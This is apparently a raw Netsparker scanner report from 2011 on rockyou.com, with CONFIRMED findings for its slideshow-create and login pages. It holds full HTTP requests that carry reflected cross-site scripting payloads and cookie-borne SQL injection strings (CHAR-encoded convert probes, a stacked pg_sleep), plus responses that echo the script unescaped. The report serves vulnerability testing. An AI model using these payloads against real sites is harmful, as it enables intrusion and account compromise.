<!--script type="text/javascript">var likeParams = ['01078cba91618ea1','drawerbutton'];</script><script type="text/javascript" src="http://partner.like.com/likesense/rockyou.js"></script-->
</div>
</td>
</tr>
</table>
</div>

</div>


<style>
#photothumbs a:link {color:#ffffff;}
</style>

<table style="margin: 0 auto; clear:both" width="450px"><tr>
<script>
function showPagelet(p) {
document.getElementById('sharePagelet').style.display='none';
document.getElementById('ratePagelet').style.display='none';
document.getElementById(p).style.display='';
}
</script>
<td><a href="#" onclick="ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-share&value=showmygallery',null,null); showPagelet('sharePagelet'); return false;">SHARE</a></td>
<td><a href="#" onclick="showPagelet('ratePagelet'); return false;">RATE</a></td>
<td><a href="http://www.rockyou.com/events/track.php?event=rockyou-makeaslideshow&value=showmygallery&url=http%3A%2F%2Fwww.rockyou.com%2Fviewpage_clickthrough.php%3Fwidget%3Dslideshow%26instanceid%3D%26amp%3B%23039%3B%2Bnetsparker%289%29%2B%26amp%3B%23039%3B">MAKE A SLIDESHOW</a></td>
<td><a href="http://www.rockyou.com/events/track.php?event=rockyou-addtofavorites&value=showmygallery&url=http%3A%2F%2Fwww.rockyou.com%2Faddfavorite.php%3Finstanceid%3D%26amp%3B%23039%3B%2Bnetsparker%289%29%2B%26amp%3B%23039%3B">ADD TO FAVORITES</a></td>
<td><a href="http://www.rockyou.com/events/track.php?event=rockyou-report&value=showmygallery&url=http%3A%2F%2Fwww.rockyou.com%2Fsetinappropriate.php%3Finstanceid%3D%26amp%3B%23039%3B%2Bnetsparker%289%29%2B%26amp%3B%23039%3B">REPORT</a></td>
</tr></table>

<div id="ajaxarea" style="width:450px; height:100px; background: #f51768; margin: 10px auto" >
<div id="sharePagelet" style="padding: 10..
- /slideshow-create.php

/slideshow-create.php CONFIRMED

http://www.rockyou.com/slideshow-create.php?source=%3E%3C/script%3E%3Cscript%3Ealert(9)%3C/script%3E..

Parameters

Parameter Type Value
source GET ></script><script>alert(9)</script>
create GET 1
instanceid GET 3

Request

GET /slideshow-create.php?source=%3E%3C/script%3E%3Cscript%3Enetsparker(9)%3C/script%3E&create=1&instanceid=3 HTTP/1.1
Referer: http://www.rockyou.com/slideshow-create.php?source=br
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.rockyou.com
Cookie: PHPSESSID=9eea1s66tbmof79ujd25v61ml3; lang=en; lastlogin=1303166157; ctid=3; istack=3%7Cwww202.rockyou.com%7C%7C%28select+convert%28int%2CCHAR%2895%29%2BCHAR%2833%29%2BCHAR%2864%29%2BCHAR%2850%29%2BCHAR%28100%29%2BCHAR%28105%29%2BCHAR%28108%29%2BCHAR%28101%29%2BCHAR%28109%29%2BCHAR%28109%29%2BCHAR%2897%29%29+FROM+syscolumns%29%7Cwww202.rockyou.com%7C%7C%27%2B+%28select+convert%28int%2CCHAR%2895%29%2BCHAR%2833%29%2BCHAR%2864%29%2BCHAR%2850%29%2BCHAR%28100%29%2BCHAR%28105%29%2BCHAR%28108%29%2BCHAR%28101%29%2BCHAR%28109%29%2BCHAR%28109%29%2BCHAR%2897%29%29+FROM+syscolumns%29+%2B%27%7Cwww202.rockyou.com%7C%7Cconvert%28int%2C%28CHAR%2895%29%2BCHAR%2833%29%2BCHAR%2864%29%2BCHAR%2850%29%2BCHAR%28100%29%2BCHAR%28105%29%2BCHAR%28108%29%2BCHAR%28101%29%2BCHAR%28109%29%2BCHAR%28109%29%2BCHAR%2897%29%29%29%7Cwww202.rockyou.com%7C%7C%27%2B+convert%28int%2C%28CHAR%2895%29%2BCHAR%2833%29%2BCHAR%2864%29%2BCHAR%2850%29%2BCHAR%28100%29%2BCHAR%28105%29%2BCHAR%28108%29%2BCHAR%28101%29%2BCHAR%28109%29%2BCHAR%28109%29%2BCHAR%2897%29%29%29+%2B%27%7Cwww202.rockyou.com%7C%7C%27AND+1%3D%28CHAR%2895%29%2BCHAR%2833%29%2BCHAR%2864%29%2BCHAR%2850%29%2BCHAR%28100%29%2BCHAR%28105%29%2BCHAR%28108%29%2BCHAR%28101%29%2BCHAR%28109%29%2BCHAR%28109%29%2BCHAR%2897%29%29%2B%27%7Cwww202.rockyou.com%7C%7C3%7Cwww202.rockyou.com%7C%7CNSFTW%7Cwww202.rockyou.com%7C%7C%27%2BNSFTW%2B%27%7Cwww202.rockyou.com%7C%7C3%7Cwww202.rockyou.com; pubtype=facebook; ultype=facebook; referralid=1%29%29%3BSELECT+pg_sleep%2825%29--; sns_type=facebook.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 22:35:59 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.6
Set-Cookie: ryuserid=deleted; expires=Sun, 18-Apr-2010 22:35:58 GMT; path=/; domain=.rockyou.com,lastlogin=1303166159; expires=Wed, 27-Jul-2011 22:35:59 GMT; path=/; domain=.rockyou.com,sns_type=facebook.com; expires=Mon, 25-Apr-2011 22:35:59 GMT; path=/; domain=.rockyou.com,pubtype=facebook; expires=Sun, 12-Jan-2014 22:35:59 GMT; path=/; domain=.rockyou.com,ultype=facebook; expires=Sun, 12-Jan-2014 22:35:59 GMT; path=/; domain=.rockyou.com
Vary: Accept-Encoding,User-Agent
Content-Encoding:
X-RyHeader: www202.rockyou.com took D=29256 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 26912
Connection: close
Content-Type: text/html; charset=UTF-8


<HTML>
<HEAD>
<TITLE>RockYou.com - photo sharing, MySpace slideshows, MySpace codes, MySpace music</TITLE>
<script type="text/javascript">
<!--
function newImage(arg) {
if (document.images) {
rslt = new Image();
rslt.src = arg;
return rslt;
}
}

function changeImages() {
if (document.images && (preloadFlag == true)) {
for (var i=0; i<changeImages.arguments.length; i+=2) {
document[changeImages.arguments[i]].src = changeImages.arguments[i+1];
}
}
}

var preloadFlag = false;
function preloadImages() {
if (document.images) {
create_over = newImage("/images/create-over.png");
mystuff_over = newImage("/images/mystuff-over.png");
topshows_over = newImage("/images/topshows-over.png");
preloadFlag = true;
}
}

function Set_Cookie( name, value, expires)
{
var today = new Date();
today.setTime( today.getTime() );
if ( expires ) {
expires = expires * 1000 * 60 * 60 * 24;
}
var expires_date = new Date( today.getTime() + (expires) );

document.cookie = name + "=" +escape( value ) +
( ( expires ) ? ";expires=" + expires_date.toGMTString() : "" ) +
";domain=.rockyou.com";
}


function Get_Cookie( name ) {
var start = document.cookie.indexOf( name + "=" );
var len = start + name.length + 1;
if ( ( !start ) && ( name != document.cookie.substring( 0, name.length ) ) ) {
return null;
}
if ( start == -1 ) return null;
var end = document.cookie.indexOf( ";", len );
if ( end == -1 ) end = document.cookie.length;
return unescape( document.cookie.substring( len, end ) );
}

function Delete_Cookie( name, path) {
if ( Get_Cookie( name ) ) document.cookie = name + "=;domain=.rockyou.com;expires=Thu, 01-Jan-1970 00:00:01 GMT";
}

function showHelp(name)
{
urchinTracker ('/help/'+name);
newwindow= window.open('/popuphelp.php?name='+name,'helppage','toolbar=no, status=no,height=500, width=300,scrollbars=1');
if (window.focus) newwindow.focus();
}

function toggle_frontpage_sound() {
var frontpage_music = document.getElementById("frontpage_music");
if (frontpage_music) frontpage_music.blur();
// Toggle text
var music_text_span = document.getElementById("music_text_span");
if (music_text_span)
music_text_span.innerHTML = (music_text_span.innerHTML == 'MUTE') ? 'LISTEN' : 'MUTE';
// Toggle speaker image
var speaker_button = document.getElementById("speaker_button");
if (speaker_button)
speaker_button.src = (speaker_button.src == "http://dev2.rockyou.com/images/bling3/speaker.png") ?
"http://dev2.rockyou.com/images/bling3/speaker-on.png" : "http://dev2.rockyou.com/images/bling3/speaker.png";
// Toggle sound
var showcase_slide_embed = document.getElementById("showcase_slide_embed");
if (showcase_slide_embed) {
if (showcase_slide_embed.innerHTML.indexOf('nosound=false') != -1) {
showcase_slide_embed.innerHTML = showcase_slide_embed.innerHTML.replace(/nosound=false/, 'nosound=true');
Set_Cookie('frontpage_music_disabled', '1', 1);
}
else {
showcase_slide_embed.innerHTML = showcase_slide_embed.innerHTML.replace(/nosound=true/, 'nosound=false');
Set_Cookie('frontpage_music_disabled', '0', 1);
}
}
}

function toggle_frontpage_music_icon() {
var frontpage_music = document.getElementById("frontpage_music");
var slide_container = document.getElementById("showcase_slide_embed");
if (frontpage_music) {
if (frontpage_music.innerHTML.indexOf("turn-on") >= 0) {
frontpage_music.innerHTML = frontpage_music.innerHTML.replace(/turn-on/, 'turn-off')
if (slide_container) {
var front_embed = slide_container.innerHTML;
slide_container.innerHTML = front_embed.replace(/nosound=true/, 'nosound=false');
}
Set_Cookie('frontpage_music_disabled', '0', 1);

} else {
frontpage_music.innerHTML = frontpage_music.innerHTML.replace(/turn-off/, 'turn-on')
if (slide_container) {
var front_embed = slide_container.innerHTML;
slide_container.innerHTML = front_embed.replace(/nosound=false/, 'nosound=true');
}
Set_Cookie('frontpage_music_disabled', '1', 1);
}
}
frontpage_music.blur();
}

function toggle_frontpage_music_text() {
var frontpage_music = document.getElementById("frontpage_music");
var slide_container = document.getElementById("slide-container");
if (frontpage_music) {
if (frontpage_music.innerHTML == "turn music on") {
frontpage_music.innerHTML = "turn music off";
if (slide_container) {
var front_embed = slide_container.innerHTML;
if (front_embed.indexOf("nosound=") > 0) {
slide_container.innerHTML = front_embed.replace(/nosound=true/, 'nosound=false');
} else {
slide_container.innerHTML = front_embed.replace(/<embed /, '<embed FlashVars="nosound=false" ');
}
}
Set_Cookie('frontpage_music_disabled', '0', 1);

} else {
frontpage_music.innerHTML = "turn music on";
if (slide_container) {
var front_embed = slide_container.innerHTML;
if (front_embed.indexOf("nosound=") > 0) {
slide_container.innerHTML = front_embed.replace(/nosound=false/, 'nosound=true');
} else {
slide_container.innerHTML = front_embed.replace(/<embed /, '<embed FlashVars="nosound=true" ');
}
}
Set_Cookie('frontpage_music_disabled', '1', 1);
}
}
}
// -->
</script>


<script src="create-slideshow-js-combined.php?ver=2" type="text/javascript"></script><script src="/js/greybox/jquery-latest.js" type="text/javascript"></script><script src="/js/greybox/greybox.js?2" type="text/javascript"></script><script src="/js/common.js" type="text/javascript"></script><link href="http://cdn.rockyou.com/apps/mainsite/css/style.css" rel="stylesheet" type="text/css">
<link href="/css/create-slideshow-combined.css?ver=6" rel="stylesheet" type="text/css"><link href="/css/../js/greybox/greybox.css?ver=6" rel="stylesheet" type="text/css">
</HEAD>




<BODY class="background_normal"
style=""

LEFTMARGIN=0 TOPMARGIN=0 MARGINWIDTH=0 MARGINHEIGHT=0
onload="initDND();"
onunload=""
>


<!-- Comscore tracking. Comscore tracks every time a resource on rockyou is loaded with these params. -->
<img src="http://apps.rockyou.com/dot.gif?CXNID=1000017.0NXC">

<!-- TF 728x90 JScript NoAD code -->
<div style="height:5px;padding:0px;margin:0px;overflow:hidden"></div>

<script language="javascript" type="text/javascript" src="/js/flash_file_uploader.js"></script><script language="javascript" type="text/javascript" src="/js/iuembed.js"></script><script type="text/javascript">// Suppress multifile uploadervar suppressMulti = false;// variable needed for grey box modal dialog for the 'More Songs' linkvar GB_ANIMATION = true; // we have a variable in create.js that needs to know about the right translation for a text.var lang_upload_confirm_delete_slide = "Do you really want to delete this slide?";var lang_slideshow_aspect_43_only = "Only 4:3 Available";var lang_slideshow_aspect_43 = "TV (4:3)";var lang_slideshow_aspect_21 = "Wide (2:1)";var lang_slideshow_aspect_31 = "Strip (3:1)";var lang_empty_caption = "[Click to Add a Caption]";var lang_remove_all_captions = "Are you sure you want to remove all captions?";var lang_abandon_slideshow = "Abandon this slideshow and START OVER?";var evalThis;var thisinstanceid = '3';var tagListArray; var xmlreqs = true; //Disable / enable xmlrequestsvar xmlBatchReq = ""; //Batch Stringvar playingSong = 0; //Current Song that is playingvar storedSongList = ""; //List of Songs responde from AJAXvar statusAddingSong = false;var mycustomtabs = new Array("cattags","transitions","themes","skins","backgrounds", "music","privacy","size","caption","min");var openWithCreateMode = 0;var sizeLevel = 3;var pitchLearnMoreBeboBands = 1; var slideCount = 0;var beforeUnloadStatus = 0;var beforeUnloadStatusEnabled = 1;var bgColorManualSet = 0;var ghost_popup = new Ghost_Popup('ghost_popup');var ghost_popup_music = new Ghost_Popup('ghost_popup_music');var source = "></script><script>netsparker(9)</script>";var currentSkin = '';var currentTransition = '';var currentBackground = '';var currentTheme = '';var currentRatio = 0;var skinConfig = 1;var removePreviewSlide = 0;var slideShowCount="0";//var slideShowCount="0";embed = new appEmbed(thisinstanceid);membed = new musicEmbed(thisinstanceid);embed.setLocal(true);embed.noSound=true;embed.noShare=true;function confirmAbandon() { if (openWithCreateMode == 1 && slideCount > 0 && beforeUnloadStatus == 1) { event.returnValue = "If you continue, this slideshow will be abandoned!"; } beforeUnloadStatus = beforeUnloadStatusEnabled;}function initDND() { document.getElementById('loadingsection_container').className = 'background_normal'; // for partner sites, switch to smaller logo var partner_logo_big = document.getElementById("partner_logo_big"); var partner_logo_small = document.getElementById("partner_logo_small"); if (partner_logo_big) partner_logo_big.style.display = "none"; if (partner_logo_small) partner_logo_small.style.display = "block"; var rockyou_logo = document.getElementById("logo"); if (rockyou_logo) rockyou_logo.style.display = "block"; setupFileUploader(); printCountrySelect(document.getElementById("countryselect")); document.getElementById('loadingsection').innerHTML = ''; document.getElementById('loadingsection').style.display = 'none'; document.getElementById('ticker_area').style.display=""; document.getElementById('upload-and-customize').style.display=""; var bannerheading = document.getElementById('bannerheading'); if (bannerheading) bannerheading.style.display=""; initSections();}function initSectionsNew(){ supermaxUL(); //document.getElementById('toptab-container').style.display=""; document.getElementById('uploadsection').style.display=""; showUploadDiv(); hasInstanceIDEmbed(); simple_ajax_call('email/ajax_email_tracking.php?message=3&widget=slideshow&instanceid=0', false); openWithCreateMode = 1; document.getElementById("bebo_bubble").style.display = "block";}function initSections(){ if (openWithCreateMode == 1) { // randomize transition updateTransition("photostack2"); } document.getElementById('arrange-and-caption').style.display=""; document.getElementById('quickstyles').style.display=""; document.getElementById('div-upload').style.display=""; document.getElementById('tab-customize').style.display=""; document.getElementById('div-arrange').style.display=""; embed.isScale = false;currentSkin = ''; currentTransition = 'photostack'; currentRatio = 1; skinConfig = 1; currentTheme = ''; currentBackground = ''; setAspectRatioControls(); setBackgroundControls(); setSkinControls(); setSizeControls(); showCookieUploadTab(); showCustomizeDiv(); regUL(); var slidelist = []; slidePrint(slidelist); refreshSlideShow(); refreshMusic(0); //Tags tagListArray = ["","mokina"]; tagList(tagListArray); setPeopleMap('','','',''); //Songs songListArray = []; songList(songListArray); if (openWithCreateMode == 1) { simple_ajax_call('email/ajax_email_tracking.php?message=4&widget=slideshow&instanceid='+thisinstanceid, false); Set_Cookie('last_created_slideshow', thisinstanceid, 1); } else { if (thisinstanceid != parseInt(Get_Cookie('last_created_slideshow'))) { Set_Cookie('last_created_slideshow', 0, 1); } } // change the instruction var multi_uploader_instruction = document.getElementById("multi_uploader_instruction"); if (multi_uploader_instruction) { multi_uploader_instruction.innerHTML = '<p style="font-size:16px;font-weight:bold;margin-bottom:10px;">Next steps</p>' + '<ul style="font-size:13px;margin-left:10px;">' + '<li>Add more slides</li>' + '<li>To edit captions, scroll down</li>' + '<li>To move and delete slides, scroll down</li>' + '<li>Try the customization options to the right</li>' + '<li>Click Save when you\'re done</li>' + '</ul>' + '<p style="font-size:15px;margin-top:15px;">If you\'re having trouble uploading, <a target="_blank" href="/contact.php" style="text-decoration:underline">let us know</a>.</p>'; } if (Get_Cookie('bubble_html_file_upload_edit_hide') == null) { if (document.getElementById("html_file_upload_instruction_container2")) { document.getElementById("html_file_upload_instruction_container2").className = 'html_file_uploader_bottom'; } } else { if (document.getElementById("html_file_upload_instruction_container2")) { document.getElementById("html_file_upload_instruction_container2").className = 'html_file_uploader_hidden'; } } document.getElementById("bebo_bubble").style.display = "none"; if (Get_Cookie('bubble_save_hide') == null) { document.getElementById("bubble_save1").style.display = "block"; } else { document.getElementById("bubble_save1").style.display = "none"; } //Colors loadSV(); updateH('F1FFCC'); if (window.attachEvent) { window.attachEvent("onbeforeunload", confirmAbandon); } balance_tabs_reset(); setTimeout("balance_tabs_set();", 1000);}function hasInstanceIDEmbed(){ var loc = window.location.href; var instanceString = loc.match("#instanceid=([0-9]*)"); if (instanceString != null) { if (parseInt(instanceString[1]) > 0) window.location='slideshow-create.php?source=%3E%3C/script%3E%3Cscript%3Enetsparker(9)%3C/script%3E&create=1&instanceid=3&create=1&instanceid='+instanceString[1]; }}// Flash uploader calls this function when the user has chosen image(s) to upload and on initfunction beginFlashUpload() { var initObj = {}; initObj.instanceid = thisinstanceid; initObj.infront = (document.getElementById('uploadplace').infront.checked) ? true : false; initObj.dataHost = 'http://www.rockyou.com/addimage.php?type=file_html&userid=-1'; return initObj;}// Called on return of flash uploaderfunction flashUploadComplete(instanceid, errorcode, errormessage) { urchinTracker('/flashuploader/complete'); if (instanceid != "" && thisinstanceid == "") //On Create New Show. Get the New Instanceid and initiate UI { embed = new appEmbed(instanceid); membed = new musicEmbed(instanceid); embed.setLocal(true); embed.noSound=true; embed.noShare=true; //Reload page with slideshow var location = window.location.href; if (location.indexOf('?') != -1) location += "&instanceid="+instanceid; else location += "?instanceid="+instanceid; window.location = location; } else { if (parseInt(errorcode) > 0) { document.getElementById('ulerror').style.display=''; document.getElementById('ulerror').innerHTML=errorcode + " - " + errormessage; } else { document.getElementById('ulerror').innerHTML=""; document.getElementById('ulerror').style.display='none'; refreshList(); clearCaptions(); clearEntry(); } if (removePreviewSlide == 1) { setTimeout('xmlhttpPost("remove_preview_slide", 1);', 1000); removePreviewSlide = 0; } }}function uploadComplete(errorcode, errormessage, url, instanceid){ if (parseInt(errorcode) > 0) { ghost_popup.show("photo upload failed", 13, 10, 60, 100, 1, "frm"); } else { ghost_popup.show("photo uploaded", 13, 10, 60, 100, 1, "frm"); } var form2 = document.getElementById("form2"); if (form2) { form2.reset(); } hideUploading(); clearInterval(progressInterval); if (insta..
- /login.php

/login.php CONFIRMED

http://www.rockyou.com/login.php?lang=en&birthyear=3&country=0&flixster=3&mode=create&pass=3&postalc..

Parameters

Parameter Type Value
lang GET en
birthyear GET 3
country GET 0
flixster GET 3
mode GET create
pass GET 3
postalcode GET 3
sex GET 3
source GET 3
toscheck GET 1
user GET 3
user POST 3
mode POST login
pass POST "></script><script>alert(9)</script>

Request

POST /login.php?lang=en&birthyear=3&country=0&flixster=3&mode=create&pass=3&postalcode=3&sex=3&source=3&toscheck=1&user=3 HTTP/1.1
Referer: http://www.rockyou.com/login.php?lang=en&birthyear=&country=0&flixster=&mode=create&pass=&postalcode=&sex=&source=&toscheck=1&user=
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.rockyou.com
Cookie: PHPSESSID=9eea1s66tbmof79ujd25v61ml3; lang=en; lastlogin=1303166328; ctid=3; istack=3%7Cwww202.rockyou.com%7C%7C%28select+convert%28int%2CCHAR%2895%29%2BCHAR%2833%29%2BCHAR%2864%29%2BCHAR%2850%29%2BCHAR%28100%29%2BCHAR%28105%29%2BCHAR%28108%29%2BCHAR%28101%29%2BCHAR%28109%29%2BCHAR%28109%29%2BCHAR%2897%29%29+FROM+syscolumns%29%7Cwww202.rockyou.com%7C%7C%27%2B+%28select+convert%28int%2CCHAR%2895%29%2BCHAR%2833%29%2BCHAR%2864%29%2BCHAR%2850%29%2BCHAR%28100%29%2BCHAR%28105%29%2BCHAR%28108%29%2BCHAR%28101%29%2BCHAR%28109%29%2BCHAR%28109%29%2BCHAR%2897%29%29+FROM+syscolumns%29+%2B%27%7Cwww202.rockyou.com%7C%7Cconvert%28int%2C%28CHAR%2895%29%2BCHAR%2833%29%2BCHAR%2864%29%2BCHAR%2850%29%2BCHAR%28100%29%2BCHAR%28105%29%2BCHAR%28108%29%2BCHAR%28101%29%2BCHAR%28109%29%2BCHAR%28109%29%2BCHAR%2897%29%29%29%7Cwww202.rockyou.com%7C%7C%27%2B+convert%28int%2C%28CHAR%2895%29%2BCHAR%2833%29%2BCHAR%2864%29%2BCHAR%2850%29%2BCHAR%28100%29%2BCHAR%28105%29%2BCHAR%28108%29%2BCHAR%28101%29%2BCHAR%28109%29%2BCHAR%28109%29%2BCHAR%2897%29%29%29+%2B%27%7Cwww202.rockyou.com%7C%7C%27AND+1%3D%28CHAR%2895%29%2BCHAR%2833%29%2BCHAR%2864%29%2BCHAR%2850%29%2BCHAR%28100%29%2BCHAR%28105%29%2BCHAR%28108%29%2BCHAR%28101%29%2BCHAR%28109%29%2BCHAR%28109%29%2BCHAR%2897%29%29%2B%27%7Cwww202.rockyou.com%7C%7C3%7Cwww202.rockyou.com%7C%7CNSFTW%7Cwww202.rockyou.com%7C%7C%27%2BNSFTW%2B%27%7Cwww202.rockyou.com%7C%7C3%7Cwww202.rockyou.com; pubtype=facebook; ultype=facebook; referralid=1%29%29%3BSELECT+pg_sleep%2825%29--; sns_type=facebook.com
Content-Length: 84
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

user=3&mode=login&pass=%22%3e%3c%2fscript%3e%3cscript%3enetsparker(9)%3c%2fscript%3e

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 22:38:48 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.6
Set-Cookie: ryuserid=-1; expires=Mon, 18-Apr-2011 12:38:48 GMT; path=/; domain=.rockyou.com,lastlogin=1303166328; expires=Wed, 27-Jul-2011 22:38:48 GMT; path=/; domain=.rockyou.com,sns_type=facebook.com; expires=Mon, 25-Apr-2011 22:38:48 GMT; path=/; domain=.rockyou.com,pubtype=facebook; expires=Sun, 12-Jan-2014 22:38:48 GMT; path=/; domain=.rockyou.com,ultype=facebook; expires=Sun, 12-Jan-2014 22:38:48 GMT; path=/; domain=.rockyou.com
Vary: Accept-Encoding,User-Agent
Content-Encoding:
X-RyHeader: www202.rockyou.com took D=91568 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 9097
Connection: close
Content-Type: text/html; charset=UTF-8


<script>
function positionAdDiv(centerDivID, adDivID, side) {
var centerDiv = document.getElementById(centerDivID);
var adDiv = document.getElementById(adDivID);
// Get absolute positioning of
var leftside = topside = 0;
var elem = centerDiv;
if (elem.offsetParent)
do {
leftside += elem.offsetLeft;
topside += elem.offsetTop;
}
while(elem = elem.offsetParent);
adDiv.style.top = topside + 'px';
// If the left side of the ad div is left of the left side of the center div, it should be on the left
if (side == 'left') adDiv.style.left = leftside - adDiv.offsetWidth +'px';
else adDiv.style.left = leftside + centerDiv.offsetWidth +'px';
}
</script>


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><HTML><HEAD> <link href="/css/standard.css" rel="stylesheet" type="text/css"><script src="/js/standard.js" type="text/javascript"></script><link href="/css/simple_bling3.css" rel="stylesheet" type="text/css"><link href="/css/center_footer.css" rel="stylesheet" type="text/css"><link href="/css/style.css" rel="stylesheet" type="text/css"> <link href="/css/bling3_header.css" rel="stylesheet" type="text/css"> <TITLE>RockYou.com - Photo sharing, MySpace slideshows, MySpace codes, MySpace music</TITLE> <link rel="icon" type="image/ico" href="/favicon.ico" /> </HEAD><BODY ><div style="text-align:center"> <div class="nav-bar"></div> <div class="nav-main"> <div class="nav-spacer" style="background:none;margin-right:25px;float:right"><a href="http://www.rockyou.com/events/track.php?event=rockyou-fullbling3-help&value=mainlogin&url=http%3A%2F%2Fwww.rockyou.com%2Fhelp">Help</a></div> <div style="clear:both; position:relative;text-align:left;"> <div style="cursor:pointer; position:absolute;" onclick="window.location='http://www.rockyou.com/events/track.php?event=rockyou-fullbling3-frontpage&value=mainlogin&url=http%3A%2F%2Fwww.rockyou.com'" class="png-logo" style='filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src="https://rockyou.com/contents/fullbling3_header/ry_logo28.png");'> <img src="https://rockyou.com/contents/fullbling3_header/ry_logo28.png" class="transparent"/> </div> </div> </div> <br><div id="topDiv" style="margin:auto;width:720px;text-align:center">
<!-- Ad call for Ad call for http://rocku.adbureau.net/hserver/area=NONE/aamsz=LEADERBOARD/ -->
<script language="javascript">
if (!pageNum) var pageNum = Math.round(Math.random() * 1000000);
var aamRnd = Math.round(Math.random() * 10000000000);

document.writeln('<iframe src="http://rocku.adbureau.net/hserver/acc_random=' +
aamRnd + '/pageid=' + pageNum + '/area=NONE/aamsz=LEADERBOARD/AGE=/GENDER=/" ' +

'width="728" height="90" marginwidth="0" marginheight="0" ' +
'frameborder="0" scrolling="no"></iframe>');
</script>
<noscript>
<a href="http://rocku.adbureau.net/adclick/area=NONE/aamsz=LEADERBOARD/AGE=/GENDER=/pageid=1" target="_blank">
<img src="http://rocku.adbureau.net/nserver/area=NONE/aamsz=LEADERBOARD/AGE=/GENDER=/pageid=1" border="0" />
</a>
</noscript>
</div><br>
<table width="600" cellpadding="25" style="margin: auto; border: 1px #999999 solid; background: #DFDFDF"><tr><td align="center">
<script type="text/javascript" language="javascript" src="http://cdn.rockyou.com/apps/mainsite/js/ajax.js"></script><script type="text/javascript" language="javascript" src="/js/country.js?ver=1"></script><script type="text/javascript" language="javascript">function getuser(status, userEmail){ accountstatus = status; if (accountstatus > 1) //Account Exists { document.getElementById("emailform").style.display="none"; document.getElementById("createform").style.display="none"; document.getElementById("createform2").style.display="none"; document.getElementById("loginform").style.display=""; setError(""); document.getElementById('loginforma').pass.focus(); } else if (accountstatus == -1) // No Account { var start = userEmail.indexOf('@')+1; var emailType = userEmail.substr(start, userEmail.indexOf('.') - start); if (emailType == 'myspace') { document.getElementById("emailforma").reset(); document.getElementById("msg").innerHTML = 'Sorry, myspace.com emails are not valid.<br>Please choose another.'; return 1; } else if (emailName = isVerifiableEmail(emailType)) { var lcArray = document.getElementsByName('emailname-container'); for (i in lcArray) { lcArray[i].innerHTML = emailName; } document.getElementById('email-container').innerHTML = userEmail; document.getElementById("emailform").style.display="none"; document.getElementById("createform").style.display="none"; document.getElementById("createform2").style.display=""; document.getElementById("loginform").style.display="none"; setError(''); document.getElementById("createform2a").useEmailPassword.value = emailType;// show superpets login hint } else { document.getElementById("emailform").style.display="none"; document.getElementById("createform").style.display=""; document.getElementById("createform2").style.display="none"; document.getElementById("loginform").style.display="none"; setError(""); document.getElementById('createforma').pass.focus();// show superpets login hint } } else { if (status == "Invalid Email Format! (joe@somebody.com)") status = "Invalid Email Format! (joe@somebody.com)"; document.getElementById("msg").innerHTML = status; } return 1;}// Check if the new email is one that can be verified by 3rd party scripts. If so, return the name to be displayed.function isVerifiableEmail(emailType) { switch(emailType) { case 'gmail': return 'Gmail'; case 'yahoo': return 'Yahoo'; case 'aol': return 'AOL'; case 'msn': return 'MSN'; case 'hotmail': return 'Hotmail'; default: return false; }}// resetform is only called by back buttonsfunction resetform() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-back&value=mainlogin',null,null); document.getElementById("emailform").style.display=""; document.getElementById("createform").style.display="none"; document.getElementById("createform2").style.display="none"; document.getElementById("loginform").style.display="none"; setError(""); //document.getElementById('emailforma').pass.focus();// show superpets login hint return false;}function setError(error) { document.getElementById("msg").innerHTML = error;}// checkuser is called on sending of email addressfunction checkuser(user){ ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-checkuid&value=mainlogin',null,null); if(user=="") { setError("Entry was Empty!"); return ; } var strURL="/checkuser.php"; var xmlHttpReq = false; var self = this; var userEmail = user; setError("Processing"); // Mozilla/Safari if (window.XMLHttpRequest) { self.xmlHttpReq = new XMLHttpRequest(); } // IE else if (window.ActiveXObject) { self.xmlHttpReq = new ActiveXObject("Microsoft.XMLHTTP"); } self.xmlHttpReq.open('POST', strURL, true); self.xmlHttpReq.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; Charset=utf-8"); self.xmlHttpReq.onreadystatechange = function() { if (self.xmlHttpReq.readyState == 4) { getuser(self.xmlHttpReq.responseText, userEmail); } } self.xmlHttpReq.send("user="+escape(user));}function updatepage(str){ document.getElementById("stat").innerHTML = str;}var isNN = (navigator.appName.indexOf("Netscape")!=-1);function autoTab(input,len, e) { var keyCode = (isNN) ? e.which : e.keyCode; var filter = (isNN) ? [0,8,9] : [0,8,9,16,17,18,37,38,39,40,46]; if(input.value.length >= len && !containsElement(filter,keyCode)) { input.value = input.value.slice(0, len); input.form[(getIndex(input)+1) % input.form.length].focus(); } function containsElement(arr, ele) { var found = false, index = 0; while(!found && index < arr.length) if(arr[index] == ele) found = true; else index++; return found; } function getIndex(input) { var index = -1, i = 0, found = false; while (i < input.form.length && index == -1) if (input.form[i] == input)index = i; else i++; return index; } return true;}function finishLoginNew() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-new&value=mainlogin',null,null); document.getElementById('createforma').user.value = document.getElementById('emailforma').user.value;}function finishLoginNewVerified() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-new-verified&value=mainlogin',null,null); document.getElementById('createform2a').user.value = document.getElementById('emailforma').user.value;}function finishLogin() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-pass&value=mainlogin',null,null); document.getElementById('loginforma').user.value = document.getElementById('emailforma').user.value;}function use_rockyou_pass() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-torypass&value=mainlogin',null,null); document.getElementById("emailform").style.display="none"; document.getElementById("createform").style.display=""; 